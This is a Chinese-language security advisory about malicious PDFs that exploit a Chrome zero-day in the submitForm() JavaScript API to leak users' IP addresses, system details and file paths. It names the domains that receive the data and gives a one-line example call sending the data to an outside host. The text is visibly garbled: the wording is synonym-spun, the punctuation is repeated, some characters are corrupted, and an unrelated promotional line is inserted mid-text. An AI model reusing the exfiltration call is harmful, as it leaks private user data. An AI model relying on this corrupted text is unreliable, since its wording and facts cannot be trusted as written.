恶意PDF文件利用Chrome浏览器0day缝隙安全公告

颁布功夫 2019-03-01

缝隙编号和级别


CVE编号：：暂无，，，危险级别：：高危，，， CVSS分值：：官方未评定


影响领域


受影响版本：： 


Google Chrome浏览器所有版本


缝隙概述


近期，，，来自国外的安全钻研人员在野外检测到多个PDF恶意样本。。这些样本利用了Chrome浏览器的0day缝隙，，，以实现追踪用户并偷偷某些网络用户信息的主张。。


目前发现了两组利用Chrome零日缝隙的恶意PDF文件，，，其中一组文件在2017年10月传布，，，另一组文件在2018年9月传布。。第一批恶意PDF文件将用户数据发送回“readnotify.com”，，，第二批发送回“zuxjk0dftoamimorjl9dfhr44vap3fr7ovgi76w.burpcollaborator.net”。。


缝隙的本原在于this.submitForm()这个PDF Javascript API。。像this.submitForm('http://google.com/test')这样一个单一的挪用就会导致Chrome把小我信息发送到google.com。�？？赡鼙恍孤兜男畔⒃毯�：：


1.用户的公共IP地址。。

2.操作系统，，，Chrome版本等(在HTTP POST header中)。。

3.用户推算机上PDF文件的齐全蹊径(在HTTP POST payload中)。。


当用户使用Chrome浏览器打开这些恶意样本时，，，样本会运行恶意代码，，，在未经用户核准的情况下，，，以HTTP POST数据包的大局将一些用户信息静默发送到指定域“readnotify.com ”。。


OG东方厅·(中国大陆)


除去信息泄露以外，，，该缝隙暂未发现其它利用方式，，，但毫无疑难，，，这些泄露的用户信息能够援手攻击者进行更多活动。。


修复建议


目前该0day缝隙尚未有官方补丁�。�，，但Chrome团队或许将于4月底修复该缝隙。。


一时缓解措施：：

在补丁颁布之前，，，建议用户使用PDF阅读器利用法式在本地查看PDF文档，，，直到Chrome修复缝隙。。唬或在Chrome中打开PDF文档时断开推算机与Internet的衔接。。


参考链接


https://blog.edgespot.io/2019/02/edgespot-detects-pdf-zero-day-samples.html